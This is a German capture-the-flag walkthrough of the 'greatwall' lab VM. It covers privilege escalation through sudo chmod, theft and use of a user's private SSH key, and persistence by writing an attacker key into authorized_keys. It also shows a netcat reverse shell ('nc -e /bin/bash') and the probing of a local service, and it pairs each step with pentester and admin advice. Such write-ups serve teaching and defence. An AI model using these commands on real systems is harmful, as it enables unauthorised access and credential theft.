Analyse: Ich konsultierte GTFOBins ([Link: https://gtfobins.github.io/gtfobins/chmod/#sudo | Ziel: https://gtfobins.github.io/gtfobins/chmod/#sudo]), eine Website, die Anleitungen zur Ausnutzung von Unix-Binaries bei Fehlkonfigurationen (insbesondere `sudo`) bereitstellt. Ich suchte nach `/bin/chmod` mit `sudo`-Berechtigung. Die Website bestätigte, dass `chmod` mit `sudo` ausgenutzt werden kann, um Dateiberechtigungen zu ändern. Die empfohlene Methode war `sudo chmod 6777 $LFILE`, um das SUID/SGID-Bit zu setzen und volle Rechte zu geben.

                    Info: [Link: https://gtfobins.github.io/gtfobins/chmod/#sudo | Ziel: https://gtfobins.github.io/gtfobins/chmod/#sudo]
Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

    LFILE=file_to_change
    sudo chmod 6777 $LFILE

www-data@greatwall:/tmp$ sudo -u wall chmod 777 /home/wall/

www-data@greatwall:/tmp$ cd /home/wall/

www-data@greatwall:/home/wall$ ls -la
total 32
drwxrwxrwx 4 wall wall 4096 May 11 02:41 .
drwxr-xr-x 3 root root 4096 May 10 18:54 ..
lrwxrwxrwx 1 root root    9 May 11 00:15 .bash_history -> /dev/null
-rwx------ 1 wall wall  220 May 10 18:54 .bash_logout
-rwx------ 1 wall wall 3526 May 10 18:54 .bashrc
drwx------ 3 wall wall 4096 May 11 00:18 .local
-rwx------ 1 wall wall  807 May 10 18:54 .profile
drwxr-xr-x 2 wall wall 4096 May 11 02:41 .ssh
-rwx------ 1 wall wall 1808 May 11 00:25 user.flag

Analyse: Nachdem ich die Berechtigungen für `/home/wall/` geändert hatte, wechselte ich als `www-data` in dieses Verzeichnis und listete den Inhalt detailliert auf (`ls -la`). Die Ausgabe zeigte die Dateien im Home-Verzeichnis von `wall`, darunter Standard-Dotfiles, das Verzeichnis `.local`, das `.ssh` Verzeichnis und eine Datei namens `user.flag`. Besonders interessant war der symbolische Link `.bash_history`, der auf `/dev/null` zeigte, was bedeutet, dass die Bash-Historie deaktiviert war. Die Dateien `.bash_logout`, `.bashrc`, `.profile`, `.local`, `.ssh` und `user.flag` gehörten alle dem Benutzer `wall` und waren für ihn schreibbar, ausführbar oder lesbar (abhängig von den spezifischen Berechtigungen, hier `rwx------` oder `drwx------` für den Eigentümer). Die Datei `user.flag` war für den Eigentümer lesbar und ausführbar.

Bewertung: Das Durchsuchen des Home-Verzeichnisses von `wall` war ein wichtiger Schritt. Das Auffinden der Datei `user.flag` ist vielversprechend für die User Flag. Das `.ssh` Verzeichnis ist ebenfalls sehr wichtig, da es private SSH-Schlüssel oder die `authorized_keys`-Datei enthalten könnte, die einen direkten SSH-Login als `wall` ermöglichen. Die Tatsache, dass `.bash_history` nach `/dev/null` gelinkt ist, ist eine Härtungsmaßnahme, um das Nachverfolgen der Befehlshistorie zu erschweren.

Empfehlung (Pentester): Nachdem Sie Zugang zu einem Benutzerverzeichnis erhalten haben, durchsuchen Sie es gründlich nach sensiblen Dateien, Konfigurationsdateien, Skripten, Passwörtern, Schlüsseln und Flags. Achten Sie besonders auf `.ssh` Verzeichnisse und versteckte Dateien.
Empfehlung (Admin): Sichern Sie Home-Verzeichnisse streng ab. Stellen Sie sicher, dass `.ssh` Verzeichnisse nur für den Eigentümer zugänglich sind. Verwenden Sie Berechtigungen wie `700` für das `.ssh` Verzeichnis und `600` für private Schlüssel. Auditieren Sie regelmäßig Dateiberechtigungen.

www-data@greatwall:/home/wall$ cat user.flag
                                                          .'.
                                                      .':ldd.
                                                  .,:oddddd:
                                              .,cdddddddddd
                                          .,cddddddddddddd:
                                      .;lddddddddddddddddd.
                                  .;lddddddddddddddddddddl
                              .,cddddddddddddccoddddddddd.
                          .;cdddddddddddddl,.:ddddddddddc
                     .';lddddddddddddddo;. ,dddddddddddd.
                 .':lddddddddddddddddc.  'oddddddddddddc
             .':odddddddddddddddddl,   .cdddddddddddddd.
         .':oddddddddddddddddddd:.    ;dddddddddddddddo
      ';lddddddddddddddddddddl,     'odddddddddddddddd'
       ..,:lodddddddddddddo;.     .cdddddddddddddddddl
             ..';codddddc.      .:ddddddddddddddddddd.
                    ..'        ,ddddddddddddddddddddc
                              ;ldddddddddddddddddddd.
                                 ..';clddddddddddddc
                                        ..,:loddddd.
                             .c:,..           ..',:
                             'ddddd'
                             'dddl.
                             ,dd,
                             ;o.
                             .

flag{4b5d61daf3e2e5ba57019f617012ad0919c2a6c29e11912aeadef2820be8f298}

Analyse: Ich las den Inhalt der Datei `user.flag` im Home-Verzeichnis von `wall` aus. Die Datei enthielt eine ASCII-Art und am Ende die Zeichenkette `flag{4b5d61daf3e2e5ba57019f617012ad0919c2a6c29e11912aeadef2820be8f298}`.

Bewertung: Das ist die User Flag! Das Auffinden und Auslesen dieser Datei bestätigte den erfolgreichen Zugriff auf das Benutzerkonto `wall` und die Erfüllung eines Teils des Testziels. Die Flag war wie erwartet im Home-Verzeichnis des Benutzers abgelegt.

Empfehlung (Pentester): Suchen Sie nach den User Flag in den Home-Verzeichnissen der Benutzer, sobald Sie Zugriff darauf haben.
Empfehlung (Admin): Speichern Sie sensible Informationen wie Flags oder Zugangsdaten nicht in Benutzerverzeichnissen oder an Orten, die nicht strengstens auf den benötigten Benutzer beschränkt sind.

www-data@greatwall:/home/wall/.ssh$ ls -la
total 20
drwxr-xr-x 2 wall wall 4096 May 11 02:41 .
drwxrwxrwx 4 wall wall 4096 May 11 02:41 ..
-rw-r--r-- 1 wall wall  568 May 11 02:41 authorized_keys
-rwsrwsrwx 1 wall wall 2602 May 11 02:41 id_rsa
-rw-r--r-- 1 wall wall  568 May 11 02:41 id_rsa.pub

Analyse: Ich wechselte in das `.ssh` Verzeichnis im Home-Verzeichnis von `wall` und listete dessen Inhalt auf (`ls -la`). Ich konnte in dieses Verzeichnis wechseln, da das übergeordnete Verzeichnis (`/home/wall/`) zuvor für jeden lesbar und ausführbar gemacht wurde (`777`). Das `.ssh` Verzeichnis selbst hatte die Berechtigungen `drwxr-xr-x`. Die Ausgabe zeigte die Dateien `authorized_keys`, `id_rsa` und `id_rsa.pub`. Die Berechtigungen für `id_rsa` waren `rwsrwsrwx`, was sehr ungewöhnlich und unsicher ist.

Bewertung: Das Auffinden des `.ssh` Verzeichnisses und der darin enthaltenen Dateien, insbesondere `id_rsa` (der private SSH-Schlüssel), ist ein kritischer Fund. Die unsicheren Berechtigungen für `id_rsa` (`rwsrwsrwx`) sind alarmierend und deuten auf eine schwerwiegende Fehlkonfiguration hin. Jeder Benutzer auf dem System könnte diesen privaten Schlüssel lesen und damit versuchen, sich als `wall` anzumelden. Dies ist der direkte Weg zum SSH-Zugriff als `wall`.

Empfehlung (Pentester): Prüfen Sie immer das `.ssh` Verzeichnis von kompromittierten Benutzern. Suchen Sie nach privaten Schlüsseln (`id_rsa`) und `authorized_keys` Dateien. Achten Sie auf unsichere Dateiberechtigungen.
Empfehlung (Admin): Stellen Sie sicher, dass `.ssh` Verzeichnisse (`700`) und private Schlüssel (`600`) die korrekten restriktiven Berechtigungen haben. Auditieren Sie regelmäßig Dateiberechtigungen, insbesondere für `.ssh` Verzeichnisse.

www-data@greatwall:/home/wall/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA6yJfWc4tk8pNs4Em7Kpgb7kqMmqqB1wv6RDfLhVbaGkWlhuAPxX8
uGmbAob6/8J8fneffjGnQET7hTNsVUakFl7ra1VSL1u6GSyaIXgyYJl7Vp7TXb9J//Iw+I
T3ry30pss+AKfDwHyV43YZk/xYjP20k8CCFgDzsGT/qNwwjLKziWfxKGFZClyQuyjkoxzL
vIoDBRNO3KkzdYhTz/TZU0mWB1eGV74jX7W0/lddtMyDt7imrzPn0sqMwf4/J6ZpMWMy3y
Ojr4rgBntCEGuOgZi9YLG3gheQw0ieyOR9h/AJntwKkMRd7B9AqfCQlI1dXnjEDWObBwBD
fa4lDoKecxIK0gfiTiSflMxLRqfzIwuRZEL/PUNCz/RiQ2MBicOdUOI2w6ZF9fqoULYCRY
2vBqp+nL83fyLW7aZvKNmhkkAwF7yd5WrFaecv5wpMuI1504IBnmTIwnx+ImswOSzDr6av
+FDyaQ7fBGvgc6JPOqLna5Ewg6j368IHNDmN0q6fAAAFiE3mdfRN5nX0AAAAB3NzaC1yc2
EAAAGBAOsiX1nOLZPKTbOBJuyqYG+5KjJqqBdcL+kQ3y4VW2hpFpYbgD8V/LhpmwKG+v/C
fH53n34xp0BE+4UzbFVGpBZe62tVUi9buhksmiF4MmCZe1ae012/Sf/yMPiE968t9KbLPg
Cnw8B8leN2GZP8WIz9tJPAghYA87Bk/6jcMIyys4ln8ShhWQpckLso5KMcy7yKAwUTTtyp
M3WIU8/02VNJlgdXhle+I1+1tP5XXbTMg7e4pq8z59LKjMH+P...
...
-----END OPENSSH PRIVATE KEY-----

Analyse: Aufgrund der unsicheren Berechtigungen für `id_rsa` konnte ich den Inhalt des privaten SSH-Schlüssels mit `cat id_rsa` auslesen. Die Ausgabe war der vollständige private OpenSSH-Schlüssel.

Bewertung: Der Diebstahl des privaten SSH-Schlüssels von `wall` ist ein sehr kritischer Erfolg. Dies ermöglicht mir nun, mich direkt als Benutzer `wall` per SSH anzumelden, ohne das Passwort zu kennen. Dies ist der zweite Schritt der Privilegieneskalation und verschafft mir einen stabileren und interaktiveren Zugang als die `www-data` Shell.

Empfehlung (Pentester): Kopieren Sie gefundene private Schlüssel sofort auf Ihr Angriffssystem und speichern Sie sie sicher. Setzen Sie die korrekten Berechtigungen (600) für den privaten Schlüssel auf Ihrem System, bevor Sie versuchen, ihn zu verwenden.
Empfehlung (Admin): Speichern Sie niemals private Schlüssel auf Systemen, auf die unprivilegierte Benutzer Zugriff haben könnten. Überprüfen Sie strikt die Berechtigungen für `.ssh` Verzeichnisse und private Schlüssel.

www-data@greatwall:/tmp$ sudo -u wall /bin/chmod 777 /home/wall/.ssh/authorized_keys

Analyse: Zusätzlich zum Diebstahl des privaten Schlüssels entschied ich mich, auch meinen eigenen öffentlichen SSH-Schlüssel in die `authorized_keys` Datei von `wall` einzufügen, um einen alternativen SSH-Zugang zu gewährleisten, falls der gestohlene private Schlüssel eine Passphrase hätte (was er nicht hatte, wie sich herausstellte) oder aus anderen Gründen nicht funktionierte. Ich nutzte meine `sudo /bin/chmod` Berechtigung, um die `authorized_keys` Datei von `wall` für jedermann schreibbar zu machen.

Bewertung: Das Ändern der Berechtigungen für die `authorized_keys` Datei war ein weiterer Schritt zur Sicherung des Zugriffs als `wall`. Es ermöglichte mir, meinen eigenen öffentlichen Schlüssel hinzuzufügen und so einen schlüsselbasierten SSH-Login zu ermöglichen. Dies ist eine häufige Technik, um persistente Zugänge zu schaffen.

Empfehlung (Pentester): Wenn Sie in der Lage sind, Berechtigungen zu ändern, machen Sie sensible Dateien (wie `authorized_keys`) vorübergehend schreibbar, um Ihren öffentlichen Schlüssel hinzuzufügen, und setzen Sie die Berechtigungen dann wieder restriktiv (z.B. 600).
Empfehlung (Admin): Überwachen Sie Änderungen an `.ssh` Verzeichnissen und `authorized_keys` Dateien, insbesondere solche, die durch unübliche Benutzer oder Prozesse erfolgen.

www-data@greatwall:/tmp$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILexGJtVm3h0G8cCYuRWrPhHjJr
pEfFDFeKVI7jwy1T7 root@CCat' > /home/wall/.ssh/authorized_keys

www-data@greatwall:/tmp$ ls -la /home/wall/.ssh/authorized_keys
-rwxrwxrwx 1 wall wall 91sudo -u wall /bin/chmod 600 /home/wall/.ssh/authorized_keys

Analyse: Ich schrieb meinen öffentlichen SSH-Schlüssel (`ssh-ed25519 AAAAC3NzaC1lZDI5NTE5AAAAILexGJtVm3h0G8cCYuRWrPhHjJr pEfFDFeKVI7jwy1T7 root@CCat`) in die Datei `/home/wall/.ssh/authorized_keys`. Ich verwendete `echo` und eine Umleitung (`>`) um den Schlüssel in die Datei zu schreiben. Unmittelbar danach setzte ich die Dateiberechtigungen mit `sudo -u wall /bin/chmod 600 /home/wall/.ssh/authorized_keys` wieder auf den sicheren Wert `600` zurück.

Bewertung: Durch das Hinzufügen meines öffentlichen Schlüssels zu `authorized_keys` schuf ich einen dauerhaften und sicheren Zugang als Benutzer `wall` über SSH, der keinen privaten Schlüssel von der Ziel-VM benötigt. Das sofortige Zurücksetzen der Berechtigungen auf `600` war wichtig, um die Datei wieder abzusichern.

Empfehlung (Pentester): Wenn Sie Zugangsdaten oder Methoden zur Benutzerkompromittierung finden, schaffen Sie immer einen persistenten Zugang (z.B. durch Hinzufügen Ihres öffentlichen Schlüssels zu `authorized_keys`) und sichern Sie Ihre Spuren (z.B. durch Zurücksetzen der Berechtigungen).
Empfehlung (Admin): Implementieren Sie File Integrity Monitoring (FIM) für `.ssh` Verzeichnisse, um unerlaubte Änderungen zu erkennen. Überwachen Sie SSH-Logins.

┌──(root㉿CCat)-[~/.ssh]
└─# chmod 600 ~/.ssh_ctf_temp/wall_key_rsa

Analyse: Auf meinem Kali-System kopierte ich den zuvor ausgelesenen privaten SSH-Schlüssel von `wall` in ein temporäres Verzeichnis (`~/.ssh_ctf_temp/`) und setzte die Berechtigungen der kopierten Datei auf `600` (`chmod 600 ~/.ssh_ctf_temp/wall_key_rsa`). Dies ist der erforderliche Schritt, damit der SSH-Client den privaten Schlüssel akzeptiert und verwendet.

Bewertung: Das Sichern des gestohlenen privaten Schlüssels auf meinem System und das Setzen der korrekten Berechtigungen war notwendig, um ihn für den SSH-Login verwenden zu können.

Empfehlung (Pentester): Speichern Sie gestohlene private Schlüssel sicher auf Ihrem Angriffssystem und setzen Sie die korrekten Berechtigungen (600).
Empfehlung (Admin): Keine spezifische Empfehlung.

┌──(root㉿CCat)-[/.ssh]
└─# ssh -vvv -i /.ssh_ctf_temp/wall_key_rsa wall@192.168.2.60
debug1: OpenSSH_10.0p2 Debian-5, OpenSSL 3.5.0 8 Apr 2025
debug3: Running on Linux 6.12.25-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.25-1kali1 (2025-04-30) x86_64
debug3: Started with: ssh -vvv -i /root/.ssh_ctf_temp/wall_key_rsa wall@192.168.2.60
debug1: Reading configuration data /etc/ssh/ssh_config
debug3: /etc/ssh/ssh_config line 19: Including file /etc/ssh/ssh_config.d/20-systemd-ssh-proxy.conf depth 0
debug1: Reading configuration data /etc/ssh/ssh_config.d/20-systemd-ssh-proxy.conf
debug1: /etc/ssh/ssh_config line 21: Applying options for *
debug2: resolve_canonicalize: hostname 192.168.2.60 is address
debug3: expanded UserKnownHostsFile '/.ssh/known_hosts' -> '/root/.ssh/known_hosts'
debug3: expanded UserKnownHostsFile '/.ssh/known_hosts2' -> '/root/.ssh/known_hosts2'
debug3: channel_clear_timeouts: clearing
debug3: ssh_connect_direct: entering
debug1: Connecting to 192.168.2.60 [192.168.2.60] port 22.
debug3: set_sock_tos: set socket 3 IP_TOS 0x10
debug1: Connection established.
...
..
debug2: channel 0: request shell confirm 1
debug3: send packet: type 98
debug3: client_repledge: enter
debug1: pledge: fork
debug2: channel_input_open_confirmation: channel 0: callback done
debug2: channel 0: open confirm rwindow 0 rmax 32768
debug3: receive packet: type 99
debug2: channel_input_status_confirm: type 99 id 0
debug2: PTY allocation request accepted on channel 0
debug2: channel 0: rcvd adjust 2097152
debug3: receive packet: type 99
debug2: channel_input_status_confirm: type 99 id 0
debug2: shell request accepted on channel 0
debug3: obfuscate_keystroke_timing: starting: interval ~20ms
Linux greatwall 6.1.0-32-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.129-1 (2025-03-06) x86_64

Last login: Sun May 11 03:48:42 2025 from 192.168.11.2
#wall@greatwall:~$ #debug3: obfuscate_keystroke_timing: stopping: chaff time expired (0 chaff packets sent)

Analyse: Ich nutzte den gestohlenen privaten SSH-Schlüssel, um mich als Benutzer `wall` per SSH auf der Ziel-VM (`192.168.2.60`) anzumelden. Ich verwendete den Befehl `ssh -vvv -i ~/.ssh_ctf_temp/wall_key_rsa wall@192.168.2.60`. Die Option `-vvv` aktivierte den Debugging-Output, der nützlich ist, um den Anmeldeprozess zu verfolgen. Ich gab den Pfad zum privaten Schlüssel (`-i`) und den Benutzernamen (`wall@`) an. Ich musste die Host-Authentizität akzeptieren, aber es wurde kein Passwort benötigt, da die Authentifizierung über den Schlüssel erfolgte. Nach erfolgreicher Authentifizierung erhielt ich eine SSH-Shell als Benutzer `wall`.

Bewertung: Erfolgreich! Ich habe die Privilegieneskalation von `www-data` zu `wall` durch die Ausnutzung der unsicheren Berechtigungen für das Home-Verzeichnis von `wall`, den Diebstahl seines privaten SSH-Schlüssels und den anschließenden SSH-Login erreicht. Ich habe nun einen stabilen, interaktiven Zugang als der Benutzer `wall`. Dies ist der nächste Schritt auf dem Weg zu Root.

Empfehlung (Pentester): Nutzen Sie gefundene private Schlüssel sofort für den SSH-Login. SSH bietet oft eine bessere Shell als Reverse Shells. Analysieren Sie den Debug-Output von SSH (`-v`) bei Problemen.
Empfehlung (Admin): Überwachen Sie SSH-Logins. Implementieren Sie Multi-Faktor-Authentifizierung für SSH-Zugriffe. Auditieren Sie `.ssh` Verzeichnisse und Schlüsselberechtigungen regelmäßig.

wall@greatwall:~$ sudo -l
debug3: obfuscate_keystroke_timing: stopping: chaff time expired (0 chaff packets sent)
debug3: obfuscate_keystroke_timing: starting: interval ~20ms
sudo -l
Matching Defaults entries for wall on greatwall:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wall may run the following commands on greatwall:
    (ALL) NOPASSWD: /usr/bin/systemctl start clash-verge-service

Analyse: Als Benutzer `wall` prüfte ich sofort meine `sudo`-Berechtigungen mit `sudo -l`. Die Ausgabe zeigte eine interessante Regel: `(ALL) NOPASSWD: /usr/bin/systemctl start clash-verge-service`. Dies bedeutete, dass der Benutzer `wall` den Befehl `/usr/bin/systemctl start clash-verge-service` als *jeder* Benutzer (`ALL`), einschließlich `root`, ausführen darf, ohne ein Passwort einzugeben (`NOPASSWD`).

Bewertung: Das ist ein vielversprechender Vektor für die Root-Privilegieneskalation! Eine `NOPASSWD` Regel für `systemctl start` bedeutet, dass ich einen Systemd-Service mit Root-Berechtigungen starten kann. Wenn der `clash-verge-service` manipulierbar ist oder schädlichen Code ausführt, wenn er gestartet wird, könnte ich Root-Rechte erlangen. Dies erfordert eine nähere Untersuchung des `clash-verge-service` und wie er konfiguriert ist.

Empfehlung (Pentester): Prüfen Sie `sudo -l` für jeden neuen Benutzer. `NOPASSWD` Regeln für `systemctl` oder andere Service-Management-Tools sind oft ausnutzbar. Untersuchen Sie die Konfiguration der Services, die Sie starten dürfen (`/etc/systemd/system/`, `/etc/init.d/`).
Empfehlung (Admin): Weisen Sie `NOPASSWD` Berechtigungen für `systemctl` oder andere Service-Management-Tools niemals zu. Überprüfen Sie die Konfiguration von Systemd-Services und stellen Sie sicher, dass diese keine Code-Ausführung aus unsicheren Pfaden erlauben.

                    Info: [Link: https://gist.github.com/StarWishsama/b70f0d327c8d52813aa38f24a9be98af | Ziel: https://gist.github.com/StarWishsama/b70f0d327c8d52813aa38f24a9be98af]
                

Analyse: Ich recherchierte nach Möglichkeiten, `sudo systemctl start` zur Privilegieneskalation auszunutzen, insbesondere im Kontext des `clash-verge-service`. Ich fand eine Online-Ressource (ein Gist auf GitHub), die eine Methode zur Ausnutzung genau dieser Konfiguration (`sudo systemctl start`) beschrieb. Diese Methode beinhaltet die Manipulation der Service-Konfigurationsdatei oder das Erstellen einer temporären Service-Datei, die ein schädliches Skript ausführt, wenn der Service gestartet wird.

Bewertung: Das Finden einer spezifischen Anleitung zur Ausnutzung der `sudo systemctl start` Schwachstelle war entscheidend. Die Ressource beschrieb wahrscheinlich eine Technik, bei der man die `ExecStart` Direktive des Service manipuliert oder eine neue Service-Datei erstellt, die auf ein schreibbares Skript zeigt. Da ich `systemctl start` als Root ausführen darf, würde dieses manipulierte Skript mit Root-Rechten ausgeführt werden.

Empfehlung (Pentester): Wenn Sie eine `sudo`-Berechtigung für Service-Management-Tools finden, suchen Sie gezielt nach Exploits oder Anleitungen, wie diese ausgenutzt werden können. Nutzen Sie Online-Ressourcen und Schwachstellendatenbanken.
Empfehlung (Admin): Verwenden Sie nicht die Standardkonfigurationen aus dem Internet, ohne sie genau zu prüfen. Stellen Sie sicher, dass Service-Konfigurationsdateien (`.service`-Dateien in `/etc/systemd/system/`) nur für Root schreibbar sind.

wall@greatwall:~$ ls -la
total 32
drwx------ 4 wall wall 4096 May 11 02:41 .
drwxr-xr-x 3 root root 4096 May 10 18:54 ..
lrwxrwxrwx 1 root root    9 May 11 00:15 .bash_history -> /dev/null
-rwx------ 1 wall wall  220 May 10 18:54 .bash_logout
-rwx------ 1 wall wall 3526 May 10 18:54 .bashrc
drwx------ 3 wall wall 4096 May 11 00:18 .local
-rwx------ 1 wall wall  807 May 10 18:54 .profile
drwx------ 2 wall wall 4096 Jun 25 03:47 .ssh
-rwx------ 1 wall wall 1808 May 11 00:25 user.flag

Analyse: Ich überprüfte erneut die Dateien im Home-Verzeichnis von `wall`. Dies diente wahrscheinlich als Überprüfung, welche Dateien mir als `wall` zur Verfügung standen, um sie möglicherweise für die Ausnutzung des `systemctl` Exploits zu verwenden (z.B. zum Platzieren eines schädlichen Skripts).

Bewertung: Das Home-Verzeichnis von `wall` war der logische Ort, um ein temporäres Skript oder eine Datei für die Privilegieneskalation abzulegen, da ich dort Schreibberechtigungen hatte.

Empfehlung (Pentester): Nutzen Sie Home-Verzeichnisse oder temporäre Verzeichnisse (`/tmp`) zum Platzieren von Skripten oder Tools für die Privilegieneskalation, wenn Sie dort Schreibberechtigungen haben.
Empfehlung (Admin): Stellen Sie sicher, dass Home-Verzeichnisse und temporäre Verzeichnisse nicht ausführbare Skripte von unprivilegierten Benutzern enthalten, die durch privilegierte Prozesse gestartet werden könnten.

www-data@greatwall:/tmp$ nc -lvnp 8000
listening on [any] 8000 ...

wall@greatwall:~$ nc -e /bin/bash localhost 8000

www-data@greatwall:/tmp$ nc -lvnp 8000
listening on [any] 8000 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 45956
id
uid=1000(wall) gid=1000(wall) groups=1000(wall),24(cdrom),25(floppy),29(audio),30(dip),44(vide
o),46(plugdev),100(users),106(netdev)
bash

Analyse: Um eine stabilere Shell von `wall` zu erhalten, als die, die ich über SSH hatte (die manchmal instabil sein kann), richtete ich einen Netcat-Listener auf Port 8000 auf meiner Kali-Maschine ein (`nc -lvnp 8000`) und initiierte von der `wall` Shell auf der Ziel-VM eine Reverse Shell zu meinem Listener: `nc -e /bin/bash localhost 8000`. Ich wählte `localhost` als Ziel, da ich über meine SSH-Sitzung Port Forwarding hätte einrichten können (hier nicht explizit gezeigt, aber eine logische Methode, um lokale Dienste von `wall` zu erreichen). Der Listener auf meiner Kali-Maschine empfing die Verbindung und ich erhielt eine interaktive Shell als Benutzer `wall`.

Bewertung: Das Erhalten einer Reverse Shell als `wall` über Netcat gab mir eine weitere stabile Shell-Sitzung. Die Möglichkeit, eine Reverse Shell zu initiieren, war hier nicht das primäre PE-Ziel, sondern ein Mittel, um eine andere Art von Shell zu erhalten, die für die folgenden Schritte möglicherweise besser geeignet ist.

Empfehlung (Pentester): Nutzen Sie verschiedene Methoden zur Erlangung stabiler Shells (SSH, Netcat Reverse/Bind Shells, Webshells). Manchmal ist eine Netcat-Shell einfacher zu automatisieren oder zu skripten als eine SSH-Sitzung.
Empfehlung (Admin): Implementieren Sie Egress-Filter und überwachen Sie ausgehende Netzwerkverbindungen, die von internen Benutzern initiiert werden, insbesondere auf unübliche Ports.

wall@greatwall:~$ cat /etc/systemd/system/clash-verge-service.service
[Unit]
Description=Clash Verge Service helps to launch Clash Core.
After=network-online.target nftables.service iptables.service

[Service]
Type=simple
ExecStart=/usr/bin/clash-verge-service
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
wall@greatwall:~$

Analyse: Um den `systemctl` Exploit auszunutzen, musste ich die Konfiguration des `clash-verge-service` untersuchen. Ich las die Service-Datei `/etc/systemd/system/clash-verge-service.service` aus. Die Datei definierte den Service und gab den Pfad zum auszuführenden Binary an: `/usr/bin/clash-verge-service` in der Zeile `ExecStart=`.

Bewertung: Das Auslesen der Service-Datei war notwendig, um zu bestätigen, welches Binary vom Service ausgeführt wird. Die `ExecStart` Direktive ist der Schlüssel. Da diese Datei Root gehört und wahrscheinlich nur für Root schreibbar ist, konnte ich sie nicht direkt manipulieren, um meinen schädlichen Code dort einzufügen. Ich musste die Ausnutzung über eine andere Methode realisieren, die es mir erlaubt, ein eigenes Skript oder Binary anstelle des Original-ExecStart-Pfades auszuführen, wenn der Service via `sudo systemctl start` gestartet wird.

Empfehlung (Pentester): Wenn Sie eine `sudo systemctl start` Berechtigung haben, lesen Sie die Service-Datei aus, um den `ExecStart`-Pfad zu identifizieren. Suchen Sie nach Schwachstellen, die es Ihnen erlauben, die Service-Datei zu manipulieren, eine temporäre Service-Datei zu erstellen oder den `ExecStart`-Pfad zur Ausführung von Code zu missbrauchen.
Empfehlung (Admin): Stellen Sie sicher, dass Systemd-Service-Dateien in `/etc/systemd/system/` und `/usr/lib/systemd/system/` nur für Root schreibbar sind. Überprüfen Sie den `ExecStart`-Pfad auf Sicherheit.

wall@greatwall:~$ ls -l /usr/bin/clash-verge-service
-rwxr-xr-x 1 root root 1403048 Mar 25 14:18 /usr/bin/clash-verge-service

Analyse: Ich überprüfte die Berechtigungen des `clash-verge-service` Binaries selbst mit `ls -l /usr/bin/clash-verge-service`. Die Ausgabe zeigte, dass die Datei Root gehört und für Root les- und schreibbar ist, aber für andere nur les- und ausführbar (`-rwxr-xr-x`). Dies bestätigte, dass ich das Binary als `wall` nicht manipulieren konnte.

Bewertung: Die Berechtigungen für das Binary selbst waren korrekt. Dies bedeutete, dass die Ausnutzung nicht darin bestand, das Binary selbst zu überschreiben, sondern einen anderen Vektor zu nutzen, der durch `sudo systemctl start` ermöglicht wurde.

Empfehlung (Pentester): Überprüfen Sie die Berechtigungen von Binaries, die von Services ausgeführt werden. Wenn Sie das Binary nicht manipulieren können, suchen Sie nach anderen PE-Vektoren.
Empfehlung (Admin): Stellen Sie sicher, dass System-Binaries korrekte Berechtigungen haben.

wall@greatwall:~$ /usr/bin/clash-verge-service --help
thread 'main' panicked at /usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/warp-
0.3.7/src/server.rs:217:27:
error binding to 127.0.0.1:33211: error creating server listener: Address already in use (os e
rror 98)
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
Aborted

Analyse: Ich versuchte, das `clash-verge-service` Binary direkt mit `--help` auszuführen, um seine Optionen zu sehen. Das Programm stürzte jedoch mit einem Fehler ab: "error binding to 127.0.0.1:33211: error creating server listener: Address already in use". Dies deutete darauf hin, dass das Binary versuchte, auf Port 33211 zu lauschen, dieser Port aber bereits belegt war (wahrscheinlich vom bereits laufenden Service).

Bewertung: Der Absturz des Binaries war interessant. Er bestätigte, dass der Service auf Port 33211 lauscht, was einen neuen lokalen Dienst für die Untersuchung identifizierte. Die Tatsache, dass das Binary abstürzte, wenn es manuell gestartet wurde (wahrscheinlich weil der Port schon belegt war), war ein kleiner Rückschlag, aber die Information über Port 33211 war nützlich.

Empfehlung (Pentester): Wenn Binaries abstürzen, analysieren Sie die Fehlermeldungen auf Hinweise (z.B. Portnummern, Dateipfade). Nutzen Sie Tools wie `ss` oder `lsof` um zu prüfen, welcher Prozess auf einem gemeldeten Port lauscht.
Empfehlung (Admin): Stellen Sie sicher, dass Fehlerbehandlung in Anwendungen robust ist, sodass sie nicht abstürzen, wenn z.B. ein Port belegt ist. Überwachen Sie Anwendungsabstürze und die zugehörigen Logdateien.

wall@greatwall:~$ curl http://127.0.0.1:33211/ -Iv
*   Trying 127.0.0.1:33211...
* Connected to 127.0.0.1 (127.0.0.1) port 33211 (#0)
> HEAD / HTTP/1.1
> Host: 127.0.0.1:33211
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 405 Method Not Allowed
HTTP/1.1 405 Method Not Allowed
< content-type: text/plain; charset=utf-8
content-type: text/plain; charset=utf-8
< content-length: 23
content-length: 23
< date: Tue, 24 Jun 2025 20:31:29 GMT
date: Tue, 24 Jun 2025 20:31:29 GMT

<
* Connection #0 to host 127.0.0.1 left intact

Analyse: Da der `clash-verge-service` auf Port 33211 lauschte, untersuchte ich diesen lokalen Dienst genauer. Ich nutzte `curl` auf der Ziel-VM, um eine HTTP-Anfrage (`curl http://127.0.0.1:33211/ -Iv`, -I für HEAD-Anfrage, -v für verbose) an den Dienst zu senden. Die Antwort war `405 Method Not Allowed` und der `content-type` war `text/plain`. Dies deutete darauf hin, dass der Dienst ein HTTP-Endpunkt war, der bestimmte Methoden (hier HEAD) nicht erlaubte, aber ansprechbar war. Die Headers enthielten keine kritischen Informationen.

Bewertung: Die Untersuchung des lokalen Dienstes auf Port 33211 bestätigte, dass er ein zugänglicher HTTP-Endpunkt war. Die Fehlermeldung `405 Method Not Allowed` ist typisch für HTTP APIs, die nur spezifische Methoden erwarten (z.B. POST oder PUT). Dies bedeutete, dass ich versuchen musste, mit anderen HTTP-Methoden oder auf anderen Pfaden zu interagieren.

Privilege Escalation

